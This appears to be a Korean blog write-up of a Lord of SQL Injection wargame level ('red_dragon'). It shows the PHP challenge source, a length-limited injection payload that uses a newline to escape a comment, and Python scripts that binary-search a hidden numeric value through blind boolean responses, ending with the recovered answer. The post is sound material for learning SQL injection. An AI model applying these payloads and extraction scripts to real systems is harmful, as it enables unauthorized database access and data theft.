Oh! JUN
[Lord Of SQL Injection] 26번(%0a(엔터)로 뒤에 주석 무력화, 이진탐색) 본문
[Lord Of SQL Injection] 26번(%0a(엔터)로 뒤에 주석 무력화, 이진탐색)
Kwon Oh! JUN 2022. 2. 24. 03:07query : select id from prob_red_dragon where id='' and no=1
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
★조건
id는 7자를 초과하면 안된다.
no가 숫자면 입력한 숫자로 출력하고, 숫자가 아닌경우 1로 치환한다.
조건에 따르면 no에는 숫자만 가능하니까
where id='조건문' and no=숫자
이런식으로 밖에 방법이 없어보인다.
이전 문제에서 계속 사용했던 싱글 쿼터를 탈옥시키는 방법을 사용해서 '조건문'과 '숫자'사이에 존재하는 문자열을 제거해주고 싶다.
where id='조건문''\' and no=숫자
하지만 no에는 숫자만 있는관계로 '사용하지 않으니까 문자열의 끝을 처리할 수 가 없었다.
그러면 그냥 id를 공백으로 만들고, or 조건문으로 시도를 해보았다.
where id=''or no>10#' and no=숫자
이렇게 해보니까 id에 들어가는 문자의 수가 7개를 초과해서 예외처리 되어버린다.
no에 숫자의 조건을 준 이유가 있을것이다. no<10에서 10의 포지션을 숫자로 놓아야 맞는거 같다.
where id=''or no>#' and no=%0a10
no= 다음에 %0a 엔터처리를 해주면 %0a 뒤에 있는 문자열은 주석처리가 되지 않는다.
그래서 위에꺼를 정리하면
where id=''or no>10
이런식으로 해석이 된다.
https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no%3E%23&no=%0a10
query : select id from prob_red_dragon where id=''||no>#' and no= 10
Hello admin
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
'Hello admin' 출력되니까 no는 10보다 크다라는 의미다.
이걸 활용하면 no의 길이를 확인할 수 있는데
ex)
no>10 | TRUE |
no>100 | TRUE |
no>1000 | TRUE |
no>10000 | TRUE |
no>100000 | FALSE |
10000보다 크면 참인데 100000보다 작으면 거짓이니까 당연히 no는 5자리이다.
이 방법을 사용해서 no의 길이를 확인할 수 있다.
하나씩 늘리면서 해보면 되기는 하지만 코딩을 짜보았다.
import requests
import string
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
cookie = dict(PHPSESSID="cfedun7r455i84qklt0jlggb92")
asc = string.digits
result=""
count = 1
for i in range(1, 1000):
param = "?id=%27||no%3E%23&no=%0a"+str(10**count)
res_url = url + param
response = requests.get(res_url, cookies=cookie)
count=count+1
print(10**count)
if response.text.find("Hello admin") < 0:
print("길이: "+str(count-1))
break
10
100
1000
10000
100000
1000000
10000000
100000000
1000000000
길이: 9
no의 길이는 9자리니까 100000000 ~ 999999999에 속한다.
이걸 하나씩 카운트해서 다 찾으려면 하루종일 걸린다.
그래서 이진탐색 알고리즘을 사용해서 코드를 짜볼것이다.
import requests
import string
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
cookie = dict(PHPSESSID="cfedun7r455i84qklt0jlggb92")
asc = string.digits
end = 1000000000
start = 0
for i in range(1, 1000):
res = round((start+end)/2)
param = "?id=%27||no%3E%23&no=%0a"+str(res)
res_url = url + param
response = requests.get(res_url, cookies=cookie)
if response.text.find("Hello admin") > 0:
print("-----true-----")
print("strat: "+str(start))
print("end: "+str(end))
print("center: "+str(res))
start = res
param = "?id=%27||no%3E%23&no=%0a"+str(res)#참
res_url = url + param
response = requests.get(res_url, cookies=cookie)
print("\n")
else:
print("-----false-----")
print("strat: "+str(start))
print("end: "+str(end))
print("center: "+str(res))
end = res
param = "?id=%27||no%3E%23&no=%0a"+str(res)
res_url = url + param
response = requests.get(res_url, cookies=cookie)
print("\n")
param = "?id=%27||no=%23&no=%0a"+str(res)
res_url = url + param
response = requests.get(res_url, cookies=cookie)
if response.text.find("Hello admin") > 0:
param = "?id=%27||no%3E%23&no=%0a"+str(res)#참
res_url = url + param
response = requests.get(res_url, cookies=cookie)
break
-----true-----
strat: 0
end: 1000000000
center: 500000000
-----false-----
strat: 500000000
end: 1000000000
center: 750000000
-----false-----
strat: 500000000
end: 750000000
center: 625000000
-----true-----
strat: 500000000
end: 625000000
center: 562500000
-----false-----
strat: 562500000
end: 625000000
center: 593750000
-----true-----
strat: 562500000
end: 593750000
center: 578125000
-----true-----
strat: 578125000
end: 593750000
center: 585937500
-----false-----
strat: 585937500
end: 593750000
center: 589843750
-----false-----
strat: 585937500
end: 589843750
center: 587890625
-----false-----
strat: 585937500
end: 587890625
center: 586914062
-----true-----
strat: 585937500
end: 586914062
center: 586425781
-----false-----
strat: 586425781
end: 586914062
center: 586669922
-----false-----
strat: 586425781
end: 586669922
center: 586547852
-----false-----
strat: 586425781
end: 586547852
center: 586486816
-----true-----
strat: 586425781
end: 586486816
center: 586456298
-----true-----
strat: 586456298
end: 586486816
center: 586471557
-----true-----
strat: 586471557
end: 586486816
center: 586479186
-----false-----
strat: 586479186
end: 586486816
center: 586483001
-----true-----
strat: 586479186
end: 586483001
center: 586481094
-----false-----
strat: 586481094
end: 586483001
center: 586482048
-----true-----
strat: 586481094
end: 586482048
center: 586481571
-----true-----
strat: 586481571
end: 586482048
center: 586481810
-----true-----
strat: 586481810
end: 586482048
center: 586481929
-----true-----
strat: 586481929
end: 586482048
center: 586481988
-----false-----
strat: 586481988
end: 586482048
center: 586482018
-----true-----
strat: 586481988
end: 586482018
center: 586482003
-----true-----
strat: 586482003
end: 586482018
center: 586482010
-----false-----
strat: 586482010
end: 586482018
center: 586482014
정답은 586482014!!
query : select id from prob_red_dragon where id='' and no=586482014
RED_DRAGON Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 28번(error blind sqlinjection 예외처리: (,),union) (0) | 2022.03.08 |
---|---|
[Lord Of SQL Injection] 27번(sleep()함수를 활용해 시간 차 출력) (0) | 2022.03.06 |
[Lord Of SQL Injection] N 25번(평문 → ASCII → hex) (0) | 2022.02.18 |
[Lord Of SQL Injection] 24번(이전문제와 비슷하다) (0) | 2022.02.16 |
[Lord Of SQL Injection] 23번(order by 활용★★★★★) (0) | 2022.02.14 |